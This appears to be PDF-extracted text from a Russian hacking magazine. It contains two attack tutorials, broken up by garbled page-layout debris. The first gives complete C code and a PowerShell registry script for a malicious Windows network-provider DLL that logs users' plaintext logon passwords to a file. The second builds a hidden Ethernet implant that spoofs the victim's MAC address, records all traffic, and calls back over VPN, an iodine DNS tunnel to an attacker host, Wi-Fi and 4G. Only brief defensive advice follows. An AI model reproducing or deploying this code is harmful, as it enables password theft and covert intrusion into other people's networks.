Диспетчер учетных данных Windows позволяет сохранять учетные данные для, например, каких-нибудь сайтов. Нам ничто не мешает реализовать собственный диспетчер учетных данных для получения паролей. Все будет основываться на специальном компоненте, который называется MPR (Multiple Provider Router). Он обеспечивает взаимодействие между операционной системой и различными провайдерами, в их числе — диспетчер учетных данных.

При запуске MPR проверяет реестр в поисках установленных провайдеров. Причем очень важен порядок расположения провайдеров в реестре — они загружаются строго по очереди. Все указанные в реестре провайдеры будут загружены в MPR.

При входе пользователя Winlogon вызывает соответствующую функцию из MPR, который, в свою очередь, дергает каждый диспетчер учетных данных, уведомляя его о том, что пользователь входит в систему или изменяет пароль своей учетной записи.

Но, к сожалению, этот способ уже считается устаревшим. Поэтому не могу гарантировать успешность работы на каждой машине с Windows.

Добавление в систему

MPR извлекает все доступные провайдеры из следующего ключа реестра:

HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order

Есть несколько вариантов добавления собственного провайдера. Проще всего воспользоваться скриптом. Обрати внимание, что в таком случае имя твоей DLL должно иметь вид spy.dll:

$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\

Control\NetworkProvider\Order" -Name PROVIDERORDER

$UpdatedValue = $Path.PROVIDERORDER + ",spy"

Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value

$UpdatedValue

New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy

New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\

NetworkProvider

New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\

NetworkProvider -Name "Class" -Value 2

New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\

NetworkProvider -Name "Name" -Value spy

New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\

NetworkProvider -Name "ProviderPath" -PropertyType ExpandString

-Value "%SystemRoot%\System32\spy.dll"

То же самое можно сделать вручную:

1.Копируем нашу DLL (spy.dll) в папку C:\Windows\System32.

2.Добавляем строку spy в конец ProviderOrder в следующем ключе:

HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order

3. Создаем ключ:

HKLM\SYSTEM\CurrentControlSet\Services\spy\NetworkProvider

И указываем в нем следующие данные:

"Class" = [REG_DWORD]2

"ProviderPath" = [REG_EXPAND_SZ]"%SystemRoot%\System32\spy.dll"

"Name" = [REG_SZ]"spy"

После чего ты можешь проверить настройки следующим образом:

$providers = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\

Control\NetworkProvider\Order" -Name ProviderOrder

$arrExp=@()

foreach ($prov in ($providers.ProviderOrder -split ','))

{

$row = New-Object psobject

$row | Add-Member -Name "Name" -MemberType NoteProperty -Value

$prov

$dllPath = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\

Services\$prov\NetworkProvider" -Name

ProviderPath).ProviderPath

$row | Add-Member -Name "DllPath"

-MemberType NoteProperty -Value

$dllPath

 

$signature = Get-AuthenticodeSignature -FilePath $dllPath

$certSubject = ""

 

if ($signature.Status.value__ -eq

0) #valid

{

 

$certSubject = $signature.SignerCertificate.Subject

}

$row | Add-Member -Name "Signer" -MemberType NoteProperty -Value

$certSubject

$row | Add-Member -Name "Version" -MemberType NoteProperty -Value

(Get-Command $dllPath).FileVersionInfo.FileVersion

$row | Add-Member -Name "Description" -MemberType NoteProperty

-Value (Get-Command $dllPath).FileVersionInfo.FileDescription

$arrExp += $row

}

if (Test-Path Variable:PSise)

{

$arrExp | Out-GridView

}

else

{

$arrExp | Format-List

}

Перехват пароля

Для перехвата пароля мы воспользуемся функцией NPLogonNotify(). MPR вызывает эту функцию для уведомления диспетчера учетных данных о том, что произошел успешный вход в систему. Диспетчер УД, получив такое сообщение, может вернуть сценарий входа (какой-нибудь скрипт, который должен выполниться).

Прототип у функции следующий:

DWORD NPLogonNotify(

[in]

PLUID

lpLogonId,

[in]

LPCWSTR

lpAuthentInfoType,

[in]

LPVOID

lpAuthentInfo,

[in]

LPCWSTR

lpPreviousAuthentInfoType,

[in]

LPVOID

lpPreviousAuthentInfo,

[in]

LPWSTR

lpStationName,

[in]

LPVOID

StationHandle,

[out]

LPWSTR

*lpLogonScript

);

 

 

Обрати внимание на второй параметр (lpAuthentInfoType). В зависимости от типа входа он будет иметь разные значения:

MSV1_0:Interactive

Kerberos:Interactive

В третьем параметре (lpAuthentInfo), опять же в зависимости от типа входа, будут лежать разные структуры. В случае MSV1_0 он будет содержать следующие значения:

typedef struct _MSV1_0_INTERACTIVE_LOGON {

MSV1_0_LOGON_SUBMIT_TYPE MessageType;

UNICODE_STRING LogonDomainName;

UNICODE_STRING UserName;

UNICODE_STRING Password;

} MSV1_0_INTERACTIVE_LOGON, *PMSV1_0_INTERACTIVE_LOGON;

А в случае «Кербероса» — такие:

typedef struct _KERB_INTERACTIVE_LOGON {

KERB_LOGON_SUBMIT_TYPE MessageType;

UNICODE_STRING LogonDomainName;

UNICODE_STRING UserName;

UNICODE_STRING Password;

} KERB_INTERACTIVE_LOGON, *PKERB_INTERACTIVE_LOGON;

Соответственно, если мы планируем перехватить MSV1_0, воспользуемся этим кодом:

#include <Windows.h>

#define WNNC_SPEC_VERSION

0x00000001

#define WNNC_SPEC_VERSION51

0x00050001

#define WNNC_NET_TYPE

0x00000002

#define

WNNC_START

0x0000000C

#define

WNNC_WAIT_FOR_START

0x00000001

typedef struct _UNICODE_STRING

{

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, * PUNICODE_STRING;

typedef enum _MSV1_0_LOGON_SUBMIT_TYPE

{

MsV1_0InteractiveLogon = 2,

MsV1_0Lm20Logon,

MsV1_0NetworkLogon,

MsV1_0SubAuthLogon,

MsV1_0WorkstationUnlockLogon = 7,

MsV1_0S4ULogon = 12,

MsV1_0VirtualLogon = 82,

MsV1_0NoElevationLogon = 83,

MsV1_0LuidLogon = 84,

} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;

typedef struct _MSV1_0_INTERACTIVE_LOGON

{

MSV1_0_LOGON_SUBMIT_TYPE MessageType;

UNICODE_STRING LogonDomainName;

UNICODE_STRING UserName;

UNICODE_STRING Password;

} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;

void SavePassword(PUNICODE_STRING username, PUNICODE_STRING password)

{

HANDLE hFile;

DWORD dwWritten;

hFile = CreateFile(TEXT("C:\\spy.txt"),

GENERIC_WRITE,

0,

NULL,

OPEN_ALWAYS,

FILE_ATTRIBUTE_NORMAL,

NULL);

if (hFile != INVALID_HANDLE_VALUE)

{

SetFilePointer(hFile, 0, NULL, FILE_END);

WriteFile(hFile, username->Buffer, username->Length, &

dwWritten, 0);

WriteFile(hFile, L" -> ", 8, &dwWritten, 0);

WriteFile(hFile, password->Buffer, password->Length, &

dwWritten, 0);

WriteFile(hFile, L"\r\n", 4, &dwWritten, 0);

CloseHandle(hFile);

}

}

__declspec(dllexport) DWORD APIENTRY NPGetCaps(

DWORD nIndex

)

{

switch (nIndex)

{

case WNNC_SPEC_VERSION:

return WNNC_SPEC_VERSION51;

case WNNC_NET_TYPE:

return WNNC_CRED_MANAGER;

case WNNC_START:

return WNNC_WAIT_FOR_START;

default:

return 0;

}

}

__declspec(dllexport) DWORD APIENTRY NPLogonNotify(

PLUID lpLogonId,

LPCWSTR lpAuthInfoType,

LPVOID lpAuthInfo,

LPCWSTR lpPrevAuthInfoType,

LPVOID lpPrevAuthInfo,

LPWSTR lpStationName,

LPVOID StationHandle,

LPWSTR* lpLogonScript

)

{

SavePassword(

&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),

&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)

);

lpLogonScript = NULL;

return WN_SUCCESS;

}

После чего выходим из системы. И заново логинимся. Пароль будет сохранен в файл.

ВЫВОДЫ

Получить пароль пользователя Windows в чистом виде не очень-то и сложно. В аутентификации участвует слишком много компонентов, что создает большую угрозу для безопасности. Но использование поставщиков безопасности на этом не заканчивается. В следующей статье мы напишем AP, который создаст буквально второй пароль для пользователя, эдакий pam_backdoor для Windows, а также заставим MSV1_0 пересылать нам учетные данные не только от интерактивной, но и от неинтерактивной аутентификации.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ВСТРАИВАЕМСЯ В ЛОКАЛЬНУЮ СЕТЬ С ПОМОЩЬЮ «НЕВИДИМОГО» ХАКЕРСКОГО УСТРОЙСТВА

Получить

несанкционированный

доступ

к чужому

устройству можно не

только

сиспользованием USB-портов, но и через Ethernet-соединение, которых в современных офисах предостаточно. В этой статье мы подробно расскажем, как злоумышленники могут пробраться в локальную сеть

спомощью специального «невидимого» девайса и как этот девайс устроен.

s0i37

Lead cybersecurity analyst at USSC t.me/s0i37_channel s0i37@ya.ru

Эта статья — часть серии публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак. Предыдущая статья серии: «Опасный модем. Закрепляемся в атакованной системе при помощи USB- модема».

Сколько раз ты замечал, что где-то в публичном месте стоит принтер, IPтелефон или даже полноценный компьютер? Все эти устройства объединяет то, что они, как правило, подключены к местной локальной сети уже знакомой нам витой парой.

Принтеры, IP-телефоны, ПК — везде могут быть незащищенные Ethernetпорты

Что, если потенциальный злоумышленник воспользуется оставленным без внимания сетевым портом и подключит вместо легитимного устройства некий специальный девайс, который предоставит ему удаленный доступ из любого уголка мира? Причем подключит это хакерское устройство не отключая основное, а вклинив его «посередине».

Схема информационных потоков при закреплении через Ethernet-порт

В качестве такого готового устройства можно использовать Packet Squirrel. Его нетрудно собрать на базе одноплатного компьютера Rock Pi E.

Аппаратное решение для закрепления через Ethernet

Плата идеально подходит под рассматриваемую задачу и не содержит ничего лишнего: тут два Ethernet-порта, Wi-Fi и USB. Rock Pi E имеет также опциональную поддержку PoE, что позволит использовать устройство без питания по USB, которого может не оказаться в удобном для подключения месте.

Нам потребуется программный хаб, который будет в точности копировать каждый принятый пакет с одного Ethernet-порта на другой. Тем самым он позволит вклиниться в сеть вне зависимости от места его подключения. Во время пересылки пакетов с одного порта на другой устройство может выполнять любые действия так, что жертва ничего не заметит. Кроме того, конфигурация хаба должна отвечать следующим требованиям:

весь пересылаемый через устройство трафик записывается;

через сеть, к которой подключается устройство, открывается VPN-туннель до управляющего сервера, обеспечивая доступ в эту сеть из любого уголка мира;

с использованием DNS-эксфильтрации открывается еще один VPN-тун- нель, даже если нет прямого выхода в интернет;

устройство предоставляет доступ в сеть через встроенный Wi-Fi-адаптер;

устройство может выйти на связь через подключаемый 4G-модем.

Иразумеется, все это должно работать автоматически, сразу после подключения устройства, так как времени на ручную настройку у злоумышленника может не быть. Для возможности физического подключения в любом месте можно использовать дополнительный патч-корд.

Аппаратная закладка

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ВСТРАИВАЕМСЯ В ЛОКАЛЬНУЮ СЕТЬ С ПОМОЩЬЮ «НЕВИДИМОГО» ХАКЕРСКОГО УСТРОЙСТВА

РЕАЛИЗАЦИЯ

Настроить одноплатный ПК таким образом, чтобы он мог вклиниться в физическое соединение, не так уж и сложно. Сначала нужно отключить дефолтные компоненты, которые могут нам помешать:

update-rc.d network-manager disable

update-rc.d dhcpcd disable

Теперь необходимо сконфигурировать автоматическое объединение интерфейсов eth0 и eth1 в сетевой мост:

/etc/network/interfaces iface eth0 inet manual

iface eth1 inet manual

auto br0

iface br0 inet dhcp

0 bridge_ports eth0 eth1

metric 2

Это минимальная конфигурация. Теперь аппаратная закладка уже готова работать в режиме прозрачного моста. Все, что придет на один Ethernetпорт, будет в точности копироваться на другой порт, и наоборот. Но злоумышленнику не просто нужно пассивно передавать трафик через устройство. Оно должно еще как-то предоставить ему удаленный доступ. Для этого следует внести необходимые настройки внутренней сети. В зависимости от ситуации можно использовать разные методы.

Динамическая настройка сети

Часто компании в своих сетях используют автоматическую настройку сети посредством DHCP. Получив собственный IP-адрес, устройство будет не просто «глупым» хабом, оно сможет во время пересылки пакетов еще и самостоятельно работать в сети.

Поскольку закладка подключается на длительное время, а сети могут «переезжать» на другие VLAN’ы, в идеале атакующему необходимо сделать так, чтобы устройство всегда было готово обновить свои сетевые настройки. Для этого нужно прописать принудительное обновление аренды IP-адреса, а также регулярный запрос к DHCP-серверу в случае неудачи:

/etc/dhcp/dhclient.conf send dhcp-lease-time 60;

retry 60;

Статическая настройка сети

Далеко не всегда в локальных сетях присутствует DHCP-сервер. Особенно это справедливо, если злоумышленник пробрался в серверный или даже технологический сетевой сегмент и поместил туда свою закладку. В таком случае он может заранее прописать на устройстве настройки сети:

/etc/network/interfaces auto br0

iface br0 inet static

bridge_ports eth0 eth1

hwaddress ether 00:11:22:33:44:55

address 10.0.0.10

netmask 255.255.255.0

gateway 10.0.0.1

dns-nameservers 10.0.0.2

dns-search corp.local

metric 2

Port security

В корпоративных сетях на активном сетевом оборудовании часто применяется достаточно простая, но действенная защитная мера, когда доступ к сетевой розетке разрешен только с определенного MAC-адреса. В таком случае трафик от жертвы все равно будет проходить, ведь bridge прозрачно пересылает пакеты с оригинальным MAC-адресом. Но доступа в сеть непосредственно с самого Packet Squirrel, использующего дополнительный IPадрес, уже не получить.

Однако данное устройство одним концом подключается к ПК жертвы, а значит, оно знает доверенный MAC-адрес. Следовательно, если в каждом исходящем пакете от Packet Squirrel на одном порте исправить MAC-адрес отправителя на MAC-адрес жертвы, а на другом — на MAC-адрес шлюза, то пакеты станут неотличимы от легитимных.

Реализовать такую, на первый взгляд, простую концепцию на деле не так-то легко, поскольку требуется, чтобы устройство одновременно с прозрачной передачей трафика в обе стороны могло и генерировать трафик от лица жертвы. Добиться этого можно было бы, например, так:

sudo ifconfig br0 hw ether "$victim_mac"

sudo ifconfig br0 "$victim_ip/24"

sudo route add -net default gw "$gw_ip"

Так реализуется простое копирование устройством MAC- и IP-адреса жертвы. Но увы, в таком случае ядро Packet Squirrel не сможет пересылать пакеты из-за конфликта одинаковых MAC-адресов. Требуется как-то обмануть ядро. Можно не менять собственный MAC-адрес устройства, но подменять MACадреса позднее, когда пакеты уже сгенерированы и «вылетают» из сетевой карты:

sudo ifconfig br0 "$victim_ip/24"

sudo route add default gw "$gw_ip"

#gw direction

sudo ebtables -t nat

-A

POSTROUTING -o eth0 -s $(getmac -i br0) -j

snat --to-src "$victim_mac" --snat-arp

sudo ebtables -t nat

-A

PREROUTING -i eth0 -d "$victim_mac" -j dnat

--to-dst $(getmac -i

br0)

 

 

 

#victim direction

 

 

sudo ebtables -t nat

-A

POSTROUTING -o eth1 -s $(getmac -i br0) -j

snat --to-src "$gw_mac"

--snat-arp

sudo ebtables -t nat

-A

PREROUTING -i eth1 -d "$gw_mac" -j dnat

--to-dst $(getmac -i

br0)

В такой конфигурации пакеты с одного сетевого порта уйдут с MAC-адресом жертвы, а с другого — с MAC-адресом шлюза. Но пакеты от жертвы сквозь устройство уже не пройдут, ведь MAC-адрес принудительно сменяется еще и на входящих пакетах.

Зеркалирование пакетов с помощью bridge в данном случае неудобно, поскольку образуется один логический сетевой интерфейс (br0) на оба Ethernet-порта. Атакующему нужно иметь возможность отправлять пакеты независимо в каждый из сетевых интерфейсов, но при этом не теряя возможности прозрачного копирования пакетов между интерфейсами. Добиться этого можно с помощью tra c control:

sudo ifconfig eth0 0 promisc up

sudo ifconfig eth1 0 promisc up

sudo ifconfig eth0 "$victim_ip/24" # Работа от имени victim в

сторону gw (LAN)

#sudo ifconfig eth1 "$gw_ip/24" # То же самое, но в сторону victim

route add -net default gw "$gw_ip"

sudo tc qdisc add dev eth0 ingress

sudo tc filter add dev eth0 parent ffff: protocol all prio 2 u32

match u32 0 0 flowid 1:1 action mirred egress mirror dev eth1

sudo tc qdisc add dev eth1 ingress

sudo tc filter add dev eth1 parent ffff: protocol all prio 2 u32

match u32 0 0 flowid 1:1 action mirred egress mirror dev eth0

sudo iptables -A INPUT -i eth0 -p icmp -j DROP # Не отзываться на

входящие ICMP gw->victim

sudo iptables -A OUTPUT -o eth0 -p tcp --tcp-flags SYN,ACK,RST,FIN

RST -j DROP # Игнорировать ACK-пакеты и не слать на них RST, чтобы

не рвать соединения victim

С такими настройками устройство может вклиниться в легитимное физическое подключение, прозрачно зеркалируя трафик в обе стороны и отправляя в это же самое время пакеты от имени жертвы.

Невидимый режим закрепления через Ethernet

Это позволит злоумышленнику обойти защиту Port Security и вообще стать полностью невидимым в сети.

Пассивный сниффинг

Так как девайс может прозрачно пересылать через себя трафик, нетрудно организовать его автоматическую запись:

/lib/systemd/system/tcpdump.service

[Unit]

Description=tcpdump

[Service]

ExecStart=/usr/sbin/tcpdump -i br0 -nn -w /media/sd/dump.pcap

Restart=always

RestartSec=60

[Install]

WantedBy=default.target

Автоматический запуск записи трафика при загрузке можно реализовать через сервис:

systemctl enable tcpdump.service

systemctl start tcpdump.service

Поскольку записывается весь трафик, дамп может быть весьма внушительным. Поэтому сохранять его лучше в дополнительный раздел на SD-карте:

/etc/fstab

/dev/mmcblk0p3 /media/sd ext3 defaults 0 0

Доступ по Wi-Fi

Так как рассматриваемое нами устройство имеет встроенный Wi-Fi, его можно использовать для организации удаленного доступа. Для этого сетевые настройки беспроводной сети указываются в следующем файле:

/etc/network/interfaces auto wlan0

iface wlan0 inet static

address 11.0.0.1

netmask 255.255.255.0

Настройки беспроводной сети для клиентов — в файле

/etc/dnsmasq.conf domain=packet_squirrel.local

interface=wlan0

dhcp-range=11.0.0.10,11.0.0.20,24h

dhcp-option=1,255.255.255.0

dhcp-option=3,11.0.0.1

И сама беспроводная сеть настраивается так:

/etc/hostapd/hostapd.conf interface=wlan0

driver=nl80211

ssid=packet squirrel

hw_mode=g

channel=1

macaddr_acl=0

auth_algs=1

ignore_broadcast_ssid=0

wpa=3

wpa_key_mgmt=WPA-PSK

wpa_pairwise=CCMP

wpa_passphrase=s3cr3tP@ssw0rd

Автозапуск всего необходимого для Wi-Fi:

systemctl unmask hostapd.service

systemctl enable hostapd.service

systemctl start hostapd.service

После включения аппаратной закладки атакующий может получить доступ в сеть, просто подключившись к устройству по Wi-Fi.

VPN access

Атакующий может сделать так, чтобы созданная им аппаратная закладка выходила на связь по VPN с некоторым опорным сервером:

cp vds_config.ovpn /etc/openvpn/client/vds.conf

systemctl enable openvpn-client@vds

Конфигурационный файл при этом может быть следующим:

client

proto tcp

dev tap

remote 1.2.3.4 1194

user nobody

<ca>

</ca>

<cert>

</cert>

<key>

</key>

route-noexec

cipher AES-128-CBC

keepalive 10 60

comp-lzo

persist-key

persist-tun

Устройство будет пытаться выйти на связь с опорным сервером через текущую или внешнюю 4G-сеть (об этом расскажу чуть позже).

Доступ через DNS-туннель

В ряде случаев из локальной сети нет прямого доступа в интернет и способ, описанный выше, может не сработать. Однако очень часто резолв произвольных внешних DNS-зон разрешен. Поэтому VPN-канал может быть реализован с помощью обычных DNS-запросов:

/lib/systemd/system/iodine.service

[Unit]

Description=iodine

[Service]

ExecStart=/usr/sbin/iodine -f -r -m 500 -P s3cr3t dns.attacker.tk

Restart=always

RestartSec=60

[Install]

WantedBy=default.target

Автозапуск DNS-туннеля обеспечивают следующие команды:

systemctl enable iodine.service

systemctl start iodine.service

Даже если из внутренней сети нет прямого выхода в интернет, но есть разрешение произвольных DNS-имен, устройство построит VPN-туннель до опорного сервера, через который потенциальный злоумышленник получит обратный доступ в сеть.

Доступ по 4G

Устройство сконфигурировано так, чтобы злоумышленник мог получить доступ в интернет через точку закрепления, посредством обычного TCP или DNS-туннелей. Но если же из локальной сети совсем нет никакого выхода в интернет, то может быть организован канал передачи данных по независимому 4G через подключаемый внешний USB-модем.

Внешний канал эксфильтрации аппаратной закладки

Реализовать это можно буквально в пару-тройку строк в конфиге. Нужно добавить автозапуск DHCP для сетевого интерфейса 4G-модема. Современные HiLink-модемы определяются как простое Ethernet-устройство, что максимально облегчает настройку:

/etc/network/interfaces

...

allow-hotplug eth2

auto eth2

iface eth2 inet dhcp

metric 1

Благодаря директиве metric 1 маршрут 4G-интерфейса будет приоритетнее маршрута Ethernet-сети, и устройство не потеряет выход в интернет при наличии двух дефолтных маршрутов.

Подытожим. В каждом случае Ethernet-backdoor пытается выйти на связь через опорный выделенный сервер и предоставляет злоумышленнику удаленный доступ во внутреннюю сеть:

по VPN через текущую сеть;

по VPN, используя DNS-эксфильтрацию через текущую сеть;

по VPN через внешний канал 4G;

через Wi-Fi.

Теперь устройство полностью настроено и готово к работе в самых разных ситуациях.

ЗАКРЕПЛЕНИЕ

Итак, злоумышленник находит оставленный без присмотра компьютер и незаметно подключает к нему свое устройство.

Подключение «посередине» аппаратной закладки между ПК и коммутатором

Да, компьютер на картинке выше реально не потеряет доступа в сеть и даже не увидит промежуточного узла. Rock Pi станет прозрачно пересылать трафик жертвы и параллельно откроет атакующему сетевой доступ в как в сторону компьютера жертвы, так и в сторону локальной сети.

Аппаратную закладку можно подключить где угодно — от обычного компьютера или принтера до серверной. Все зависит от того, куда успел получить доступ потенциальный злоумышленник. Небольшие размеры позволяют спрятать аппаратный бэкдор даже внутри другого устройства.

Подключение «посередине» аппаратной закладки между IP-телефоном и коммутатором

Аппаратную закладку можно поместить даже внутри IP-телефона, расположенного в переговорке. Такие помещения часто бывают свободными на короткое время, чем может воспользоваться потенциальный нарушитель.

Конфигурация устройства позволяет использовать девайс не только

вмодели «посередине». Его можно просто включить одним любым портом

всвободный Ethernet-порт для поддержания удаленного доступа.

Подключение аппаратной закладки в сетевую розетку

Далее, используя все возможные каналы доступа (VPN, DNS, Wi-Fi, 4G), атакующий может удаленно зайти на устройство и уже с него получить доступ в сеть.

Для развития дальнейших атак злоумышленнику не нужно каждый раз разворачивать на устройстве весь хакерский софт. Закладка может быть лишь шлюзом и просто пересылать пакеты от атакующего в сеть.

L3-доступ

Теперь настала пора рассмотреть, как подобное устройство может быть настроено в режиме шлюза, на котором организован простой L3-доступ в целевую сеть. Для этого потребуются только два компонента.

Первый — это транзит пакетов. При включении этой опции ядра сетевые пакеты в соответствии с маршрутизацией смогут проходить с одного интерфейса (VPN) на другой (Ethernet):

/etc/sysctl.conf net.ipv4.ip_forward=1

Второе — это SNAT, выполняющий корректировку IP-адреса отправителя для пакетов, меняющих сетевой интерфейс. В данном случае идущих с VPN

на Ethernet-порты:

iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE

iptables-save | sudo tee /etc/iptables.up.rules

/etc/network/if-pre-up.d/iptables

#!/bin/bash

/sbin/iptables-restore < /etc/iptables.up.rules

Это дает атакующему чрезвычайно простой и удобный доступ к сети, в которой помещена закладка. Все, что требуется на стороне атакующего, — просто добавить маршрут через Packet Squirrel.

route add -net 10.0.0.0/8 gw packet_squirrel

ping 10.10.10.10

Получение сетевого доступа в локальную сеть, где помещена аппаратная закладка

Телефон атакующего, никак не связанный напрямую с ноутбуком жертвы, подключен к единой VPN-сети с Packet Squirrel. На телефоне задается маршрут с Packet Squirrel в качестве шлюза, после чего атакующий получает прямой сетевой доступ во внутреннюю сеть.

Несомненно, для атакующего это чрезвычайно удобно, и этот метод может применяться как для скрытого получения доступа, так и для развития дальнейших атак. Но если говорить об атаках, то это лишь L3-доступ (сетевой уровень OSI), не дающий всех возможностей в плане атак, поскольку злоумышленник не находится во внутренней сети, а использует Packet Squirrel в качестве шлюза. Чтобы оказаться непосредственно в сетевом сегменте и иметь возможность реализовать полный арсенал атак, присущих Ethernet-сетям, от ARP до NetBIOS spoo ng, атакующему потребуется получить L2-доступ (канальный уровень OSI).

L2-доступ

Чтобы получить полноценный L2-доступ в сетевой сегмент, в который помещена закладка, атакующему нужно создать еще один дополнительный туннель. Самый простой способ это сделать — воспользоваться SSH:

/etc/ssh/sshd_config

PermitRootLogin yes

PermitTunnel ethernet

Так как на устройстве Ethernet-интерфейсы уже подключены в сетевом мосте (br0), то атакующему остается лишь добавить новый L2-интерфейс от SSH в этот мост:

sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any

packet_squirrel> brctl addif br0 tap1

packet_squirrel> ifconfig tap1 up

Сетевой мост будет копировать каждый сетевой пакет с Ethernet-интерфей- сов в этот виртуальный интерфейс. На удаленной стороне атакующего тоже появится новый L2-интерфейс, на который будут приходить все доступные Packet Squirrel пакеты и который будет для атакующего L2-порталом во внутренний сетевой сегмент:

attacker> sudo ifconfig tap1 up

attacker> sudo dhclient tap1

Теперь, оказавшись непосредственно в сетевом сегменте с Packet Squirrel, злоумышленник может получить внутренний IP-адрес по DHCP. А может для большей незаметности использовать IP-адрес жертвы:

packet_squirrel> sudo ifconfig br0 0

attacker> sudo ifconfig tap1 $victim_ip/24

Миниатюрное устройство, спрятанное где-то в недрах корпоративной сети, за одним из системников, принтеров в коридоре, IP-телефонов в переговорке или даже под толщей проводов серверной, способно скрытно от имени жертвы (с ее MAC- и IP-адреса) взаимодействовать с узлами внутренней сети. Злоумышленник при этом может использовать внутренний IP-адрес сетевого сегмента локальной сети, в то время как сам будет находиться где-то очень далеко.

Вообще, подобное устройство можно использовать и для удаленных внутренних пентестов, когда заказчик просто подключает подобную коробочку в нужный сетевой сегмент. И больше никаких действий не требуется — не придется просить заказчика согласовывать допуски, исполнителям не понадобится долго добираться до места или подключаться через неудоб-

ные VPN.

КАК ЗАЩИТИТЬСЯ

Использование Port Security в чистом виде не позволит злоумышленнику получить доступ к свободной сетевой розетке, ведь он не будет знать нужный MAC-адрес. Если задействовать еще и 802.1X, то у злоумышленника не будет возможности и вклиниться посередине. Ведь в момент подключения Packet Squirrel потребуется хоть и на короткое время, но разъединить сеть, а тогда потребуется повторно аутентифицироваться.

Также мерой защиты может быть физический контроль над Ethernet-пор- тами и устройствами в локальной сети предприятия.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

